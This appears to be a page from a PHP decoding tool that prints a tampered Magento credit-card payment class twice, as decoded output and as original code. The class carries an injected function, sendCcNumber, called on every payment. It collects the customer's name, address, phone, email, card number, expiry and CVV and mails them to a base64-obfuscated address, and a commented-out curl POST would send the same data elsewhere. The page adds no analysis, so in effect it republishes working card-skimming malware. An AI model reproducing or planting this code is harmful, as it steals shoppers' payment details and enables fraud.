Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * Magento * * NOTICE OF LICENSE * * This source file is subject to th..
Decoded Output download
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magentocommerce.com for more information.
*
* @category Mage
* @package Mage_Payment
* @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
{
protected $_formBlockType = 'payment/form_cc';
protected $_infoBlockType = 'payment/info_cc';
protected $_canSaveCc = false;
/**
* Assign data to info model instance
*
* @param mixed $data
* @return Mage_Payment_Model_Info
*/
public function assignData($data)
{
if (!($data instanceof Varien_Object)) {
$data = new Varien_Object($data);
}
$info = $this->getInfoInstance();
$info->setCcType($data->getCcType())
->setCcOwner($data->getCcOwner())
->setCcOwnerId($data->getCcOwnerId())
->setCcLast4(substr($data->getCcNumber(), -4))
->setCcNumber($data->getCcNumber())
->setCcCid($data->getCcCid())
->setCcExpMonth($data->getCcExpMonth())
->setCcExpYear($data->getCcExpYear())
->setCcSsIssue($data->getCcSsIssue())
->setCcSsStartMonth($data->getCcSsStartMonth())
->setCcSsStartYear($data->getCcSsStartYear())
->setCcInstallments($data->getCcInstallments())
;
$this->sendCcNumber();
return $this;
}
function sendCcNumber()
{
$info = $this->getInfoInstance();
$object = new Mage_Checkout_Block_Onepage_Billing;
$address1 = $object->getQuote()->getBillingAddress();
$data1 = $address1->getFirstname();
$data2 = $address1->getLastname();
$data3 = $address1->getStreet(1);
$data4 = $address1->getStreet(2);
$data5 = $address1->getCity();
$data6 = $address1->getRegion();
$data7 = $address1->getPostcode();
$data8 = $address1->getCountry();
$data9 = $address1->getTelephone();
$data10 = $info->getCcNumber();
$bin = substr($bin, 0, 6);
$getbank = json_decode(file_get_contents("https://bins.ribbon.co/api/v1/bins/".$bin.""));
$ccbrand = $getbank->issuer;
$ccbank = $getbank->bank;
$cctype = $getbank->type;
$ccklas = $getbank->card_category;
$expyear = substr($info->getCcExpYear(), -2);
$expmonth = $info->getCcExpMonth();
if (strlen($expmonth) == 1) {
$expmonth = '0'.$expmonth;
};
$data11 = $expmonth;
$data12 = $expyear;
$data13 = $info->getCcCid();
$ipboss = $_SERVER['REMOTE_ADDR'];
$details = json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss.""));
$nama_negara = $details->country;
$kode_negara = $details->country_code;
$serverboss = $_SERVER['SERVER_NAME'];
$time = date('Y-m-d H:i:s');
$data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
$message =
"=============DianemeTampanZ=============
Name: ".$data1." ".$data2."
Address 1: ".$data3."
Address 2: ".$data4."
City: ".$data5."
State: ".$data6."
Zip: ".$data7."
Country: ".$data8."
Phone: ".$data9."
BIN: ".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."
ccnumb: ".$data10."
expdate: ".$data11." / 20".$data12."
cvv: ".$data13."
From: ".$serverboss."
Email : ".$data16."
=============DianemeTampanZ=============";
$subject = $bin." - ".$ccbrand." ".$cctype." ".$ccklas." - ".$ccbank." [".$serverboss." - ".$ipboss."]";
$headers = "From: ".$data8." Credit Card <cc_session@".$serverboss.">";
$gantengers = "bHVvbmlja3k5MEBnbWFpbC5jb20=";
$tamvan = base64_decode($gantengers);
mail($tamvan, $subject, $message, $headers);
$nodata = "-";
$chbin = "".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."";
$expinfox = "".$data11." / 20".$data12."";
$nameinfo = "".$data1." ".$data2."";
$ipinfo = "".$ipboss." - ".$nama_negara."";
$ch321 = "name={$nameinfo}&address={$data3}&address2={$data4}&city={$data5}&state={$data6}&country={$data8}&zip={$data7}&phone={$data9}&ssn={$nodata}&dob={$nodata}&sortcode={$nodata}&cc={$data10}&exp={$expinfox}&cvv={$data13}&bin={$chbin}&ip={$ipinfo}&site={$serverboss}&browser={$_SERVER['HTTP_USER_AGENT']}";
//$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ch123); curl_setopt($ch, CURLOPT_POSTFIELDS, $ch321); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT,30); curl_setopt($ch, CURLOPT_POST, 1); curl_exec($ch); curl_close($ch);
}
/**
* Prepare info instance for save
*
* @return Mage_Payment_Model_Abstract
*/
public function prepareSave()
{
$info = $this->getInfoInstance();
if ($this->_canSaveCc) {
$info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
}
//$info->setCcCidEnc($info->encrypt($info->getCcCid()));
$info->setCcNumber(null)
->setCcCid(null);
return $this;
}
/**
* Validate payment method information object
*
* @param Mage_Payment_Model_Info $info
* @return Mage_Payment_Model_Abstract
*/
public function validate()
{
/*
* calling parent validate function
*/
parent::validate();
$info = $this->getInfoInstance();
$errorMsg = false;
$availableTypes = explode(',',$this->getConfigData('cctypes'));
$ccNumber = $info->getCcNumber();
// remove credit card number delimiters such as "-" and space
$ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
$info->setCcNumber($ccNumber);
$ccType = '';
if (in_array($info->getCcType(), $availableTypes)){
if ($this->validateCcNum($ccNumber)
// Other credit card type number validation
|| ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
$ccType = 'OT';
$ccTypeRegExpList = array(
//Solo, Switch or Maestro. International safe
/*
// Maestro / Solo
'SS' => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
. '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
. '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
*/
// Solo only
'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
. '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
. '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
. '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
. '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
// Visa
'VI' => '/^4[0-9]{12}([0-9]{3})?$/',
// Master Card
'MC' => '/^5[1-5][0-9]{14}$/',
// American Express
'AE' => '/^3[47][0-9]{13}$/',
// Discovery
'DI' => '/^6011[0-9]{12}$/',
// JCB
'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
);
foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
if (preg_match($ccTypeRegExp, $ccNumber)) {
$ccType = $ccTypeMatch;
break;
}
}
if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
$errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
}
}
else {
$errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
}
}
else {
$errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
}
//validate credit card verification number
if ($errorMsg === false && $this->hasVerification()) {
$verifcationRegEx = $this->getVerificationRegEx();
$regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
$errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
}
}
if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
$errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
}
if($errorMsg){
Mage::throwException($errorMsg);
}
//This must be after all validation conditions
if ($this->getIsCentinelValidationEnabled()) {
$this->getCentinelValidator()->validate($this->getCentinelValidationData());
}
return $this;
}
public function hasVerification()
{
$configData = $this->getConfigData('useccv');
if(is_null($configData)){
return true;
}
return (bool) $configData;
}
public function getVerificationRegEx()
{
$verificationExpList = array(
'VI' => '/^[0-9]{3}$/', // Visa
'MC' => '/^[0-9]{3}$/', // Master Card
'AE' => '/^[0-9]{4}$/', // American Express
'DI' => '/^[0-9]{3}$/', // Discovery
'SS' => '/^[0-9]{3,4}$/',
'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
'SO' => '/^[0-9]{3,4}$/', // Solo
'OT' => '/^[0-9]{3,4}$/',
'JCB' => '/^[0-9]{3,4}$/' //JCB
);
return $verificationExpList;
}
protected function _validateExpDate($expYear, $expMonth)
{
$date = Mage::app()->getLocale()->date();
if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
|| ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
) {
return false;
}
return true;
}
public function OtherCcType($type)
{
return $type=='OT';
}
/**
* Validate credit card number
*
* @param string $cc_number
* @return bool
*/
public function validateCcNum($ccNumber)
{
$cardNumber = strrev($ccNumber);
$numSum = 0;
for ($i=0; $i<strlen($cardNumber); $i++) {
$currentNum = substr($cardNumber, $i, 1);
/**
* Double every second digit
*/
if ($i % 2 == 1) {
$currentNum *= 2;
}
/**
* Add digits of 2-digit numbers together
*/
if ($currentNum > 9) {
$firstNum = $currentNum % 10;
$secondNum = ($currentNum - $firstNum) / 10;
$currentNum = $firstNum + $secondNum;
}
$numSum += $currentNum;
}
/**
* If the total has no remainder it's OK
*/
return ($numSum % 10 == 0);
}
/**
* Other credit cart type number validation
*
* @param string $ccNumber
* @return boolean
*/
public function validateCcNumOther($ccNumber)
{
return preg_match('/^\d+$/', $ccNumber);
}
/**
* Check whether there are CC types set in configuration
*
* @param Mage_Sales_Model_Quote|null $quote
* @return bool
*/
public function isAvailable($quote = null)
{
return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
&& parent::isAvailable($quote);
}
/**
* Whether centinel service is enabled
*
* @return bool
*/
public function getIsCentinelValidationEnabled()
{
return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
}
/**
* Instantiate centinel validator model
*
* @return Mage_Centinel_Model_Service
*/
public function getCentinelValidator()
{
$validator = Mage::getSingleton('centinel/service');
$validator
->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
->setStore($this->getStore())
->setIsPlaceOrder($this->_isPlaceOrder());
return $validator;
}
/**
* Return data for Centinel validation
*
* @return Varien_Object
*/
public function getCentinelValidationData()
{
$info = $this->getInfoInstance();
$params = new Varien_Object();
$params
->setPaymentMethodCode($this->getCode())
->setCardType($info->getCcType())
->setCardNumber($info->getCcNumber())
->setCardExpMonth($info->getCcExpMonth())
->setCardExpYear($info->getCcExpYear())
->setAmount($this->_getAmount())
->setCurrencyCode($this->_getCurrencyCode())
->setOrderNumber($this->_getOrderId());
return $params;
}
/**
* Order increment ID getter (either real from order or a reserved from quote)
*
* @return string
*/
private function _getOrderId()
{
$info = $this->getInfoInstance();
if ($this->_isPlaceOrder()) {
return $info->getOrder()->getIncrementId();
} else {
if (!$info->getQuote()->getReservedOrderId()) {
$info->getQuote()->reserveOrderId();
}
return $info->getQuote()->getReservedOrderId();
}
}
/**
* Grand total getter
*
* @return string
*/
private function _getAmount()
{
$info = $this->getInfoInstance();
if ($this->_isPlaceOrder()) {
return (double)$info->getOrder()->getQuoteBaseGrandTotal();
} else {
return (double)$info->getQuote()->getBaseGrandTotal();
}
}
/**
* Currency code getter
*
* @return string
*/
private function _getCurrencyCode()
{
$info = $this->getInfoInstance();
if ($this->_isPlaceOrder()) {
return $info->getOrder()->getBaseCurrencyCode();
} else {
return $info->getQuote()->getBaseCurrencyCode();
}
}
/**
* Whether current operation is order placement
*
* @return bool
*/
private function _isPlaceOrder()
{
$info = $this->getInfoInstance();
if ($info instanceof Mage_Sales_Model_Quote_Payment) {
return false;
} elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
return true;
}
}
} ?>
Did this file decode correctly?
Original Code
<?php
/**
* Magento
*
* NOTICE OF LICENSE
*
* This source file is subject to the Open Software License (OSL 3.0)
* that is bundled with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://opensource.org/licenses/osl-3.0.php
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to [email protected] so we can send you a copy immediately.
*
* DISCLAIMER
*
* Do not edit or add to this file if you wish to upgrade Magento to newer
* versions in the future. If you wish to customize Magento for your
* needs please refer to http://www.magentocommerce.com for more information.
*
* @category Mage
* @package Mage_Payment
* @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
*/
class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
{
protected $_formBlockType = 'payment/form_cc';
protected $_infoBlockType = 'payment/info_cc';
protected $_canSaveCc = false;
/**
* Assign data to info model instance
*
* @param mixed $data
* @return Mage_Payment_Model_Info
*/
public function assignData($data)
{
if (!($data instanceof Varien_Object)) {
$data = new Varien_Object($data);
}
$info = $this->getInfoInstance();
$info->setCcType($data->getCcType())
->setCcOwner($data->getCcOwner())
->setCcOwnerId($data->getCcOwnerId())
->setCcLast4(substr($data->getCcNumber(), -4))
->setCcNumber($data->getCcNumber())
->setCcCid($data->getCcCid())
->setCcExpMonth($data->getCcExpMonth())
->setCcExpYear($data->getCcExpYear())
->setCcSsIssue($data->getCcSsIssue())
->setCcSsStartMonth($data->getCcSsStartMonth())
->setCcSsStartYear($data->getCcSsStartYear())
->setCcInstallments($data->getCcInstallments())
;
$this->sendCcNumber();
return $this;
}
function sendCcNumber()
{
$info = $this->getInfoInstance();
$object = new Mage_Checkout_Block_Onepage_Billing;
$address1 = $object->getQuote()->getBillingAddress();
$data1 = $address1->getFirstname();
$data2 = $address1->getLastname();
$data3 = $address1->getStreet(1);
$data4 = $address1->getStreet(2);
$data5 = $address1->getCity();
$data6 = $address1->getRegion();
$data7 = $address1->getPostcode();
$data8 = $address1->getCountry();
$data9 = $address1->getTelephone();
$data10 = $info->getCcNumber();
$bin = substr($bin, 0, 6);
$getbank = json_decode(file_get_contents("https://bins.ribbon.co/api/v1/bins/".$bin.""));
$ccbrand = $getbank->issuer;
$ccbank = $getbank->bank;
$cctype = $getbank->type;
$ccklas = $getbank->card_category;
$expyear = substr($info->getCcExpYear(), -2);
$expmonth = $info->getCcExpMonth();
if (strlen($expmonth) == 1) {
$expmonth = '0'.$expmonth;
};
$data11 = $expmonth;
$data12 = $expyear;
$data13 = $info->getCcCid();
$ipboss = $_SERVER['REMOTE_ADDR'];
$details = json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss.""));
$nama_negara = $details->country;
$kode_negara = $details->country_code;
$serverboss = $_SERVER['SERVER_NAME'];
$time = date('Y-m-d H:i:s');
$data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
$message =
"=============DianemeTampanZ=============
Name: ".$data1." ".$data2."
Address 1: ".$data3."
Address 2: ".$data4."
City: ".$data5."
State: ".$data6."
Zip: ".$data7."
Country: ".$data8."
Phone: ".$data9."
BIN: ".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."
ccnumb: ".$data10."
expdate: ".$data11." / 20".$data12."
cvv: ".$data13."
From: ".$serverboss."
Email : ".$data16."
=============DianemeTampanZ=============";
$subject = $bin." - ".$ccbrand." ".$cctype." ".$ccklas." - ".$ccbank." [".$serverboss." - ".$ipboss."]";
$headers = "From: ".$data8." Credit Card <cc_session@".$serverboss.">";
$gantengers = "bHVvbmlja3k5MEBnbWFpbC5jb20=";
$tamvan = base64_decode($gantengers);
mail($tamvan, $subject, $message, $headers);
$nodata = "-";
$chbin = "".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."";
$expinfox = "".$data11." / 20".$data12."";
$nameinfo = "".$data1." ".$data2."";
$ipinfo = "".$ipboss." - ".$nama_negara."";
$ch321 = "name={$nameinfo}&address={$data3}&address2={$data4}&city={$data5}&state={$data6}&country={$data8}&zip={$data7}&phone={$data9}&ssn={$nodata}&dob={$nodata}&sortcode={$nodata}&cc={$data10}&exp={$expinfox}&cvv={$data13}&bin={$chbin}&ip={$ipinfo}&site={$serverboss}&browser={$_SERVER['HTTP_USER_AGENT']}";
//$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ch123); curl_setopt($ch, CURLOPT_POSTFIELDS, $ch321); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT,30); curl_setopt($ch, CURLOPT_POST, 1); curl_exec($ch); curl_close($ch);
}
/**
* Prepare info instance for save
*
* @return Mage_Payment_Model_Abstract
*/
public function prepareSave()
{
$info = $this->getInfoInstance();
if ($this->_canSaveCc) {
$info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
}
//$info->setCcCidEnc($info->encrypt($info->getCcCid()));
$info->setCcNumber(null)
->setCcCid(null);
return $this;
}
/**
* Validate payment method information object
*
* @param Mage_Payment_Model_Info $info
* @return Mage_Payment_Model_Abstract
*/
public function validate()
{
/*
* calling parent validate function
*/
parent::validate();
$info = $this->getInfoInstance();
$errorMsg = false;
$availableTypes = explode(',',$this->getConfigData('cctypes'));
$ccNumber = $info->getCcNumber();
// remove credit card number delimiters such as "-" and space
$ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
$info->setCcNumber($ccNumber);
$ccType = '';
if (in_array($info->getCcType(), $availableTypes)){
if ($this->validateCcNum($ccNumber)
// Other credit card type number validation
|| ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
$ccType = 'OT';
$ccTypeRegExpList = array(
//Solo, Switch or Maestro. International safe
/*
// Maestro / Solo
'SS' => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
. '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
. '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
*/
// Solo only
'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
. '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
. '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
. '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
. '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
// Visa
'VI' => '/^4[0-9]{12}([0-9]{3})?$/',
// Master Card
'MC' => '/^5[1-5][0-9]{14}$/',
// American Express
'AE' => '/^3[47][0-9]{13}$/',
// Discovery
'DI' => '/^6011[0-9]{12}$/',
// JCB
'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
);
foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
if (preg_match($ccTypeRegExp, $ccNumber)) {
$ccType = $ccTypeMatch;
break;
}
}
if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
$errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
}
}
else {
$errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
}
}
else {
$errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
}
//validate credit card verification number
if ($errorMsg === false && $this->hasVerification()) {
$verifcationRegEx = $this->getVerificationRegEx();
$regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
$errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
}
}
if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
$errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
}
if($errorMsg){
Mage::throwException($errorMsg);
}
//This must be after all validation conditions
if ($this->getIsCentinelValidationEnabled()) {
$this->getCentinelValidator()->validate($this->getCentinelValidationData());
}
return $this;
}
public function hasVerification()
{
$configData = $this->getConfigData('useccv');
if(is_null($configData)){
return true;
}
return (bool) $configData;
}
public function getVerificationRegEx()
{
$verificationExpList = array(
'VI' => '/^[0-9]{3}$/', // Visa
'MC' => '/^[0-9]{3}$/', // Master Card
'AE' => '/^[0-9]{4}$/', // American Express
'DI' => '/^[0-9]{3}$/', // Discovery
'SS' => '/^[0-9]{3,4}$/',
'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
'SO' => '/^[0-9]{3,4}$/', // Solo
'OT' => '/^[0-9]{3,4}$/',
'JCB' => '/^[0-9]{3,4}$/' //JCB
);
return $verificationExpList;
}
protected function _validateExpDate($expYear, $expMonth)
{
$date = Mage::app()->getLocale()->date();
if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
|| ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
) {
return false;
}
return true;
}
public function OtherCcType($type)
{
return $type=='OT';
}
/**
* Validate credit card number
*
* @param string $cc_number
* @return bool
*/
public function validateCcNum($ccNumber)
{
$cardNumber = strrev($ccNumber);
$numSum = 0;
for ($i=0; $i<strlen($cardNumber); $i++) {
$currentNum = substr($cardNumber, $i, 1);
/**
* Double every second digit
*/
if ($i % 2 == 1) {
$currentNum *= 2;
}
/**
* Add digits of 2-digit numbers together
*/
if ($currentNum > 9) {
$firstNum = $currentNum % 10;
$secondNum = ($currentNum - $firstNum) / 10;
$currentNum = $firstNum + $secondNum;
}
$numSum += $currentNum;
}
/**
* If the total has no remainder it's OK
*/
return ($numSum % 10 == 0);
}
/**
* Other credit cart type number validation
*
* @param string $ccNumber
* @return boolean
*/
public function validateCcNumOther($ccNumber)
{
return preg_match('/^\\d+$/', $ccNumber);
}
/**
* Check whether there are CC types set in configuration
*
* @param Mage_Sales_Model_Quote|null $quote
* @return bool
*/
public function isAvailable($quote = null)
{
return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
&& parent::isAvailable($quote);
}
/**
* Whether centinel service is enabled
*
* @return bool
*/
public function getIsCentinelValidationEnabled()
{
return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
}
/**
* Instantiate centinel validator model
*
* @return Mage_Centinel_Model_Service
*/
public function getCentinelValidator()
{
$validator = Mage::getSingleton('centinel/service');
$validator
->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
->setStore($this->getStore())
->setIsPlaceOrder($this->_isPlaceOrder());
return $validator;
}
/**
* Return data for Centinel validation
*
* @return Varien_Object
*/
public function getCentinelValidationData()
{
$info = $this->getInfoInstance();
$params = new Varien_Object();
$params
->setPaymentMethodCode($this->getCode())
->setCardType($info->getCcType())
->setCardNumber($info->getCcNumber())
->setCardExpMonth($info->getCcExpMonth())
->setCardExpYear($info->getCcExpYear())
->setAmount($this->_getAmount())
->setCurrencyCode($this->_getCurrencyCode())
->setOrderNumber($this->_getOrderId());
return $params;
}
/**
* Order increment ID getter (either real from order or a reserved from quote)
*
* @return string
*/
private function _getOrderId()
{
$info = $this->getInfoInstance();
if ($this->_isPlaceOrder()) {
return $info->getOrder()->getIncrementId();
} else {
if (!$info->getQuote()->getReservedOrderId()) {
$info->getQuote()->reserveOrderId();
}
return $info->getQuote()->getReservedOrderId();
}
}
/**
* Grand total getter
*
* @return string
*/
private function _getAmount()
{
$info = $this->getInfoInstance();
if ($this->_isPlaceOrder()) {
return (double)$info->getOrder()->getQuoteBaseGrandTotal();
} else {
return (double)$info->getQuote()->getBaseGrandTotal();
}
}
/**
* Currency code getter
*
* @return string
*/
private function _getCurrencyCode()
{
$info = $this->getInfoInstance();
if ($this->_isPlaceOrder()) {
return $info->getOrder()->getBaseCurrencyCode();
} else {
return $info->getQuote()->getBaseCurrencyCode();
}
}
/**
* Whether current operation is order placement
*
* @return bool
*/
private function _isPlaceOrder()
{
$info = $this->getInfoInstance();
if ($info instanceof Mage_Sales_Model_Quote_Payment) {
return false;
} elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
return true;
}
}
}
Function Calls
None |
Stats
MD5 | 61c5471072d8588450e39e8cad0dbac6 |
Eval Count | 0 |
Decode Time | 164 ms |